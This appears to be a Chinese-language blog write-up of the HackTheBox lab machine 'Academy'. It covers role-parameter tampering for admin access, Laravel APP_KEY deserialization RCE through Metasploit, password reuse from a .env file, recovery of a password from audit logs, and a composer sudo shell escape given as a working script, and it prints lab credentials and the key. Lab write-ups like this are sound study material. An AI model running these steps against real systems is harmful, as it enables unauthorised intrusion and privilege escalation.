Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


HackTheBox >_ Academy_215

Academy_215

Scan

$ rustscan 10.10.10.215 -b 924 -t 1500 --no-nmap

$ sudo nmap -p22,80,33060 -sV -T5 -Pn -oX sploit.xml 10.10.10.215; searchsploit --nmap sploit.xml

80

加入hosts

登陆看起来没什么特殊,注册也没有限制,尝试注册

使用注册的账户登陆

academy.htb/admin.php

登陆admin是需要admin凭证的

返回注册页面,在源码中发现提交了额外的参数roleid,一般这个参数应该可以决定对账户使用的规则,也就是应该可以修改权限

抓包测试

修改包并发送

使用我们修改的凭证登陆admin页面

注意到尚未完成的,存在错误的新域名,

dev-staging-01.academy.htb

加入hosts

Laravel是一个框架。在搜索的过程中发现了如果app_key泄露则会导致rce

https://www.exploit-db.com/exploits/47129

使用msf进行利用

dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=

python3 -c "import pty; pty.spawn(['/bin/bash']);"

基本的枚举和搜寻之在academy网页的文件夹下的.env文件中发现一组数据库的凭证

dev:mySup3rP4s5w0rd!!

superpassword,尝试一下是否能以root登陆mysql

失败,登陆dev

同样失败。查看home,看看是否有存在密码复用

经过尝试最终确定密码属于cry0l1t3

cry0l1t3:mySup3rP4s5w0rd!!

得到user

不能使用sudo -l

在id时可以注意到用户属于adm组,所以重点转到log

分析/var/log目录下的日志

cat * | grep -E '21y4d|ch4p|cry0l1t3|egre55|g0blin|mrb3n|root' | grep -v -i 'nikto\|fuzz\|gobuster' | less

没找到有用的信息

存在audit

audit 使用uid来区分用户行为,我们首先查看当前用户的行为

使用ausearch搜索

ausearch -if audit.log && audit.log.1 && audit.log.2 audit.log.3 -m ROLE_REMOVE -i

都是单条目,没有能发现有用的线索

尝试直接通过grep查看日志

cat * | grep "uid=1002" |less

看上去是一个成功切换用户的日志记录,根据这个格式,继续挖掘看看是否有其他的日志记录。

cat * | grep "uid=1002" |grep 'comm="su"'|less

6D7262336E5F41634064336D79210A

https://plautrba.fedorapeople.org/how-to-decode-hex-strings-in-audit-logs.html

python -c 'import binascii; print binascii.a2b_hex("6D7262336E5F41634064336D79210A")'

切换到mrb3n

mrb3n:mrb3n_Ac@d3my!

gtfobins

https://gtfobins.github.io/gtfobins/composer/

TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo /usr/bin/composer --working-dir=$TF run-script x